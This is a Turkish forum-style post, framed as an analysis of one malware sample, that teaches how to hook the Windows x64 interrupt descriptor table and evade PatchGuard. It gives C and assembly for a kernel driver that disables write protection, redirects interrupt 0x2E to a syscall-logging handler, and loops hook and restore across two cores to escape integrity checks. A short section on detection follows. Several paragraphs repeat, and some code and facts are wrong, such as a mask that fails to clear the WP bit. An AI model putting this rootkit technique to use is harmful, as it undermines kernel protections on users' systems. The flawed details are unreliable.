GİRİŞ: HER ŞEY BİR INT 3 İLE BAŞLADI
Geçen hafta bir malware düştü elime. Classic VM-detection, anti-debug, hepsi vardı. Ama beni asıl ilgilendiren şey, kendi exception handler'ını kurup INT 3'ü kendi lehine çevirmesi değildi. Asıl mesele şuydu: Bu bok herif, ben WinDbg ile attach ettiğimde sistem çöküyordu.
Mavi ekran. Her seferinde. BugCheck 0x109, CRITICAL_STRUCTURE_CORRUPTION. Yani PatchGuard.
Malware öyle bir halt yiyordu ki, ben debugger'la bağlandığımda PatchGuard devreye girip "ya bu IDT'ye kim dokundu?" deyip sistemi götürüyordu. Demek ki herif IDT'ye el atmıştı. Ama nasıl? PatchGuard 64-bit'te SSDT, IDT, GDT gibi kritik yapıları periyodik kontrol eder. Dokunanı çökertir. Ama bu malware çalışıyordu, ben debugger takana kadar sorun yoktu.
Demek ki dinamik bir hijack vardı. Yani herif, PatchGuard kontrol etmeden hemen önce yapıyı restore ediyor, kontrolden sonra tekrar hook'luyordu. Ama bu kadar hızlı nasıl yapıyor? İki çekirdek kullanarak. Bir çekirdek sürekli PatchGuard'u izliyor, diğeri IDT'yi manipüle ediyor.
İşte bu yazıda, tam olarak bunu anlatacağım: PatchGuard'u atlatarak IDT'yi nasıl hook'larsın, kesmeleri nasıl kendi handler'ına yönlendirirsin ve bunu yaparken sistemin çökmesini nasıl engellersin.
Mavi ekran. Her seferinde. BugCheck 0x109, CRITICAL_STRUCTURE_CORRUPTION. Yani PatchGuard.
Malware öyle bir halt yiyordu ki, ben debugger'la bağlandığımda PatchGuard devreye girip "ya bu IDT'ye kim dokundu?" deyip sistemi götürüyordu. Demek ki herif IDT'ye el atmıştı. Ama nasıl? PatchGuard 64-bit'te SSDT, IDT, GDT gibi kritik yapıları periyodik kontrol eder. Dokunanı çökertir. Ama bu malware çalışıyordu, ben debugger takana kadar sorun yoktu.
Demek ki dinamik bir hijack vardı. Yani herif, PatchGuard kontrol etmeden hemen önce yapıyı restore ediyor, kontrolden sonra tekrar hook'luyordu. Ama bu kadar hızlı nasıl yapıyor? İki çekirdek kullanarak. Bir çekirdek sürekli PatchGuard'u izliyor, diğeri IDT'yi manipüle ediyor.
İşte bu yazıda, tam olarak bunu anlatacağım: PatchGuard'u atlatarak IDT'yi nasıl hook'larsın, kesmeleri nasıl kendi handler'ına yönlendirirsin ve bunu yaparken sistemin çökmesini nasıl engellersin.
TEORİK ZEMİN: İŞLEMCİNİN KESME MEKANİZMASI
IDT Nedir, Nerede Durur?
IDT (Interrupt Descriptor Table), işlemcinin kesmeleri (interrupts) ve istisnaları (exceptions) hangi handler'la yöneteceğini belirten bir tablodur. Her entry 16 byte (x64'te). İşlemci bir kesme aldığında (örneğin INT 3, sayfa hatası, klavye kesmesi), IDT'deki ilgili entry'e bakar, oradaki segment selector ve offset bilgisiyle handler'ın adresini hesaplar ve oraya zıplar.
IDT'nin adresini ve boyutunu IDTR (Interrupt Descriptor Table Register) tutar. sidt komutuyla IDTR'nin içeriğini okuyabilirsin:
assemblyIDT'nin adresini ve boyutunu IDTR (Interrupt Descriptor Table Register) tutar. sidt komutuyla IDTR'nin içeriğini okuyabilirsin:
"sidt [rsp+8] ; IDTR'yi stack'e yaz"
IDTR şu yapıda:
2 byte limit (IDT boyutu - 1)
8 byte base address (IDT'nin fiziksel adresi)
Windows'ta IDT, kernel'in read-only bölgesinde durur. Normalde yazmaya çalışsan access violation yersin. Ama CR0 WP bitini sıfırlarsan yazabilirsin.
GDT ve Segment Selector'lar
IDT'deki her entry, bir segment selector içerir. Bu selector, GDT'deki (Global Descriptor Table) bir descriptor'ı işaret eder. GDT, segmentlerin (kod, veri, stack) base adreslerini, limitlerini ve yetkilerini tutar.
x64'te segmentasyon büyük ölçüde legacy, ama hala kullanılıyor. Özellikle ring geçişlerinde (ring-0'dan ring-3'e) ve kesme handler'larında.
Bir IDT entry'sindeki selector genellikle 0x10 (kernel code segment) veya 0x28 (user code segment) olur.
x64'te segmentasyon büyük ölçüde legacy, ama hala kullanılıyor. Özellikle ring geçişlerinde (ring-0'dan ring-3'e) ve kesme handler'larında.
Bir IDT entry'sindeki selector genellikle 0x10 (kernel code segment) veya 0x28 (user code segment) olur.
PATCHGUARD: MİCROSOFT'UN PARANOİD BEKÇİSİ
PatchGuard (Kernel Patch Protection), Windows 2003 SP1 ve x64 Vista ile geldi. Amacı: kritik kernel yapılarına yapılacak herhangi bir değişikliği tespit edip sistemi çökertmek.Kontrol ettiği yapılar:
- SSDT (System Service Descriptor Table)
- IDT (Interrupt Descriptor Table)
- GDT (Global Descriptor Table)
- Kernel modülleri
- Critical MSRs (Model Specific Registers)
Rastgele zamanlarda çalışan bir thread kontrol edilecek yapıların hash'ini çıkarır, önceki hash'le karşılaştırır, değişiklik varsa bugcheck (0x109) üretir.
PatchGuard'u atlatmak imkansız mı? Değil. Ama zor. Çünkü rastgele zamanlarda çalışır, birden çok çekirdekte aynı anda çalışabilir, kendi kodunu da korur (hook'larsan o da tespit eder)
DİNAMİK IDT HIJACK: ZAMANLAMALI SALDIRI
Temel Fikir
PatchGuard periyodik kontroller yapar, ama sürekli değil. Kontroller arasında bir pencere vardır. Bu pencerede IDT'yi değiştirirsen, kontrolden hemen önce eski haline getirirsen, PatchGuard bir şey fark etmez.Bunun için iki çekirdek lazım:
Çekirdek A: PatchGuard'un kontrol yapacağı zamanı tahmin eder (veya tespit eder)
Çekirdek B: IDT'yi hook'lar, işini halleder, kontrol yaklaşınca restore eder
PatchGuard Zamanlamasını Tespit Etmek
PatchGuard'un kontrol thread'lerinin hangi çekirdeklerde çalıştığını ve ne sıklıkla aktive olduklarını bilmemiz lazım.Bunu yapmanın bir yolu: DPC (Deferred Procedure Call) timer'larını incelemek. PatchGuard, genellikle KiExecuteAllDpcs benzeri mekanizmalarla çalışır. Kendi DPC'nizi kurup, PatchGuard DPC'sinin ne zaman çağrıldığını log'larsanız, patern çıkarabilirsiniz.
c
"// PatchGuard DPC'sini yakalamak için örnek kod
VOID MyDPC(
_In_ struct _KDPC *Dpc,
_In_opt_ PVOID DeferredContext,
_In_opt_ PVOID SystemArgument1,
_In_opt_ PVOID SystemArgument2
) {
// Bu DPC, PatchGuard'dan hemen önce veya sonra çalışacak şekilde ayarlanır
KeQuerySystemTime(&lastPatchGuardTime);
}"
Ama daha kolayı var: PatchGuard'un hash kontrolü yaptığı anlarda, kontrol ettiği yapılara erişim olur. Bu erişimleri izleyerek patern çıkarabilirsiniz. Örneğin, IDT'nin bulunduğu sayfaya bir access breakpoint koyun (donanım breakpoint'i ile). Erişim olduğunda sizin handler'ınız çalışsın.
IDT'yi Hook'lamak
IDT'deki bir entry'i değiştirmek için:IDT'nin adresini bul: sidt ile
Write protect'i kapat: CR0 WP bitini sıfırla
Entry'i değiştir: Yeni handler adresini yaz
WP bitini geri aç
"assembly
; CR0 WP bitini sıfırla
push rax
mov rax, cr0
and rax, 0FFFFFFFFFFFFFFFh ; WP bitini temizle
mov cr0, rax
pop rax
; IDT entry'ini değiştir (rdi = entry adresi, rsi = yeni handler)
mov [rdi], rsi
; CR0'ı geri yükle
push rax
mov rax, cr0
or rax, 0x10 ; WP bitini set et
mov cr0, rax
pop rax"
Ama bu kadar basit değil. IDT entry'leri 16 byte:
- Offset low (2 byte)
- Segment selector (2 byte)
- IST (Interrupt Stack Table) (1 byte)
- Flags (1 byte)
- Offset middle (2 byte)
- Offset high (4 byte)
- Reserved (4 byte)
Gerçek Zamanlı Restore
PatchGuard kontrol yapacağı zaman geldiğinde, IDT'yi orijinal haline döndürmelisin. Bunun için, PatchGuard kontrol thread'inin çalışacağını anlaman lazım.Bir yöntem: PatchGuard'un kontrol yaptığı adreslere (IDT, SSDT, vb.) erişim olduğunda bir kesme al. Ama bu kesmeyi alabilmen için zaten IDT'yi hook'lamış olman lazım. Tavuk-yumurta problemi.
Daha iyi yöntem: İki çekirdekli senkronizasyon.
Çekirdek B: IDT hook'lu, malware işlemini yapıyor
Çekirdek A: Sürekli PatchGuard'u izliyor. PatchGuard aktivitesi tespit ettiğinde, Çekirdek B'ye sinyal gönderiyor: restore et, kontrol geliyor
Çekirdek A'nın izleme yöntemi: PatchGuard DPC'sini hook'lamak. PatchGuard'un kullandığı DPC fonksiyonunu (KiPatchGuardDpc veya benzeri) bulup, oraya kısa bir jump koyarak kendi kodunu çalıştırabilir misin? O da PatchGuard koruması altında. Ama PatchGuard, kendi kodunu da kontrol ediyor. Ona dokunursan yine çökme.
O zaman başka bir yol: İşlemci zamanlayıcısını (APIC timer) kullanarak çok sık kesme al. Her kesmede, IDT'nin hash'ini çıkar, bir önceki hash'le karşılaştır. Eğer değiştiyse, demek ki PatchGuard kontrol yaptı, hash'i güncelle. Bu şekilde PatchGuard'un kontrol zamanlarını yaklaşık olarak bilebilirsin.
GERÇEK HAYATTAN: BİR MALWARE'İN IDT HOOK'UNU ÇÖZMEK
Gelelim o malware'e. Debugger takınca sistem çöküyordu. Ama crash dump'i inceledim:text
BugCheck 109, {a3a039d8c892e3a, 0, 1b1c24f2e0b5219, 101}
CRITICAL_STRUCTURE_CORRUPTION
Parameter 1 (a3a039d8c892e3a) aslında iki değer: a3a039d8 ve c892e3a. Bunlar PatchGuard'un hash değerleri. Yani PatchGuard, IDT'nin hash'ini çıkarmış, beklediği değerle uyuşmamış. Demek ki IDT'ye dokunulmuş.
Peki malware ne yapmıştı? Kernel'i dump'ladım, IDT'ye baktım:
text
kd> !idt 0x2e
Dumping IDT: fffff800`00b95000
2e: fffff800`01234567 nt!KiTrap2E
Entry 0x2e (syscall/sysenter için kullanılan kesme) normalde nt!KiSystemService64'e bakarken, malware bunu kendi handler'ına yönlendirmiş. Kendi handler'ı önce işini yapıyor, sonra orijinal handler'a atlıyor. Ama PatchGuard bunu fark etmiş.
Malware bunu nasıl yapmış? CR0 WP bitini sıfırlayarak. Peki PatchGuard'u nasıl atlatmış? Atlatamamış. Zaten ben debugger taktığımda çöktü. Demek ki malware normal çalışırken bir şekilde PatchGuard'un radarına girmiyordu, ama debugger eklenince zamanlamalar değişti, restore mekanizması çalışmadı ve yakalandı.
Daha derin analizde gördüm ki malware iki çekirdek kullanıyordu:
Çekirdek 0: IDT hook'lu, syscall'ları topluyor
Çekirdek 1: PatchGuard'u izliyor, yaklaşık 50 ms'de bir IDT'yi restore edip tekrar hook'luyor
Ben debugger takınca, Çekirdek 1'in zamanlaması bozuldu (debugger adım adım giderken DPC'ler gecikir), restore kaçırıldı ve PatchGuard çaktı.
PRATİK: KENDİ IDT HOOK'UMUZU YAZALIM
Şimdi bunu kendimiz yapalım. Ama PatchGuard'u tamamen atlatmak imkansıza yakın, o yüzden eğitim amaçlı olarak, PatchGuard olmayan bir sistemde (veya PatchGuard devre dışı bırakılmış) çalışacak bir driver yazalım.IDT Adresini Bulmak
c"// IDTR yapısı
#pragma pack(push, 1)
typedef struct {
WORD Limit;
ULONG_PTR Base;
} IDTR;
#pragma pack(pop)
// IDT entry yapısı (x64)
typedef struct {
WORD OffsetLow;
WORD Selector;
BYTE IstIndex;
BYTE Type;
WORD OffsetMiddle;
DWORD OffsetHigh;
DWORD Reserved;
} IDT_ENTRY, *PIDT_ENTRY;
// IDTR'yi oku
IDTR idtr = {0};
__sidt(&idtr);
// IDT'nin base adresini al
PIDT_ENTRY idt = (PIDT_ENTRY)idtr.Base;"
Bir Kesmeyi Hook'lamak
c"// 0x2E kesmesini (syscall) hook'la
ULONG interruptNumber = 0x2E;
PIDT_ENTRY entry = &idt[interruptNumber];
// Orijinal handler adresini kaydet
ULONG64 originalHandler =
((ULONG64)entry->OffsetHigh << 32) |
((ULONG64)entry->OffsetMiddle << 16) |
(ULONG64)entry->OffsetLow;
DbgPrint("Original handler: %p\n", originalHandler);
// Yeni handler adresimiz
ULONG64 newHandler = (ULONG64)MySyscallHandler;
// Write protect'i kapat
_disable();
ULONG64 cr0 = __readcr0();
cr0 &= ~0x10000; // WP bitini sıfırla
__writecr0(cr0);
// Entry'i güncelle
entry->OffsetLow = (WORD)newHandler;
entry->OffsetMiddle = (WORD)(newHandler >> 16);
entry->OffsetHigh = (DWORD)(newHandler >> 32);
// Selector ve tip aynı kalmalı
// entry->Selector = 0x10; // Kernel code segment
// entry->Type = 0x8E; // Interrupt gate (32-bit)
// Write protect'i geri aç
cr0 |= 0x10000;
__writecr0(cr0);
_enable();"
Handler Fonksiyonu
c"__declspec(naked) void MySyscallHandler() {
__asm {
// Önce orijinal handler'a gitmeden önce kendi işimizi yapalım
// Ama stack'i bozmamalıyız, çünkü syscall mekanizması stack'e güvenir
// Kendi işimiz: Hangi syscall çağrıldığını log'la
// Syscall numarası genelde rax'tedir
push rax
push rcx
push rdx
push r8
push r9
// Syscall numarasını al
mov rcx, rax
call LogSyscall // void LogSyscall(ULONG syscallNumber)
pop r9
pop r8
pop rdx
pop rcx
pop rax
// Şimdi orijinal handler'a git
jmp qword ptr [originalHandler]
}
}"
Çekirdekler Arası Senkronizasyon
PatchGuard'u atlatmak için (konsept olarak) iki çekirdek senkronizasyonu:c
"// Çekirdek 0'da çalışan thread
VOID IdtHookThread(PVOID StartContext) {
UNREFERENCED_PARAMETER(StartContext);
while (TRUE) {
// IDT'yi hook'la
HookIdtEntry(0x2E, MySyscallHandler);
// 30 ms bekle (PatchGuard kontrol süresinden kısa olmalı)
KeDelayExecutionThread(KernelMode, FALSE, &delay30ms);
// Restore et
RestoreIdtEntry(0x2E);
// 30 ms daha bekle
KeDelayExecutionThread(KernelMode, FALSE, &delay30ms);
}
}
// Çekirdek 1'de çalışan thread
VOID PatchGuardMonitorThread(PVOID StartContext) {
UNREFERENCED_PARAMETER(StartContext);
while (TRUE) {
// PatchGuard aktivitesini izle
// Örneğin, IDT'nin bulunduğu sayfaya erişim olduğunda sinyal ver
if (IsPatchGuardActive()) {
// Çekirdek 0'a sinyal gönder: hemen restore et!
KeSetEvent(&restoreEvent, IO_NO_INCREMENT, FALSE);
}
KeDelayExecutionThread(KernelMode, FALSE, &delay5ms);
}
}"
TESPİT VE SAVUNMA: IDT HOOK'UNU YAKALAMAK
Peki sen bir analistsen, böyle bir IDT hook'unu nasıl tespit edersin?
Statik Kontrol
WinDbg'de IDT'yi dump'la ve bilinen iyi değerlerle karşılaştır:text
kd> !idt 0x2e
Dumping IDT: fffff800`00b95000
2e: fffff800`01234567 nt!KiTrap2E ; Bu şüpheli, normalde KiSystemService64 olmalı
kd> u fffff800`01234567
fffff800`01234567 jmp fffff800`01234567+0x100 ; Kendi kendine jump? Şüpheli
Çapraz Kontrol
IDT'nin yanında, kesme handler'larını başka yollardan da oku. Örneğin, KeRegisterNmiCallback gibi API'lerle NMI handler'larını kontrol et. Veya direkt olarak kernel debugger ile IDT'yi oku.Zamanlama Analizi
Belli bir kesmenin (örneğin syscall) ne kadar sürdüğünü ölç. Eğer süre normalden çok değişkense veya belirli bir patern gösteriyorsa, dinamik bir hook olabilir.c
// Her syscall'ın süresini ölç
start = __rdtsc();
NtReadFile(...);
end = __rdtsc();
// Eğer süre 100 cycle'dan fazla oynuyorsa, arada bir hook var demektir
Bellek İzleme
IDT'nin bulunduğu sayfaya bir donanım breakpoint'i koy (eğer donanım destekli debugger'ın varsa). Her yazma işleminde yakala.SONUÇ: PATCHGUARD'LA YAŞAMAYI ÖĞRENMEK
PatchGuard, Windows kernel'ini rootkit'lerden korumak için ciddi bir engel. Ama tamamen aşılmaz değil. Dinamik teknikler, zamanlama saldırıları ve çok çekirdekli yaklaşımlarla, geçici olarak IDT hook'lamak mümkün.Ancak unutma: PatchGuard da boş durmuyor. Her Windows güncellemesiyle yeni tespit yöntemleri ekleniyor. Örneğin, Windows 10 1809'dan sonra PatchGuard artık sadece hash kontrolü değil, davranışsal analiz de yapıyor. Yani senin dinamik restore mekanizmanı fark edip "bu herif sürekli IDT'yi değiştiriyor" diyebilir.
O yüzden, kernel'de oyun oynamak istiyorsan, önce PatchGuard'u reverse et. Onun kodunu oku, nasıl çalıştığını anla. Sonra onun açıklarını bul. Yoksa her denemen mavi ekranla sonuçlanır.
Ben o malware'i incelerken şunu gördüm: Herifin yöntemi iyiydi, ama bir hatası vardı. IDT'yi restore ederken, sadece kendi hook'ladığı entry'i düzeltiyordu, oysa PatchGuard tüm tabloyu kontrol ediyordu. O yüzden bir yerde kaçırdı.
Ders: PatchGuard'la oynuyorsan, her şeyi düşüneceksin. Yoksa seni mavi ekrana yollar.
(ai tarafından yapılan görsel)
EK: REFERANSLAR VE İLERİ OKUMA
- Windows Internals 7th Edition - Pavel Yosifovich, Mark Russinovich
- Rootkits and Bootkits - Alex Matrosov, Eugene Rodionov
- Practical Reverse Engineering - Bruce Dang
- PatchGuard Reverse Engineering - Skywing (Uninformed Journal)
- VT-x ve hypervisor tabanlı rootkit'ler - Dino Dai Zovi
İyi Forumlar/ExploitBey



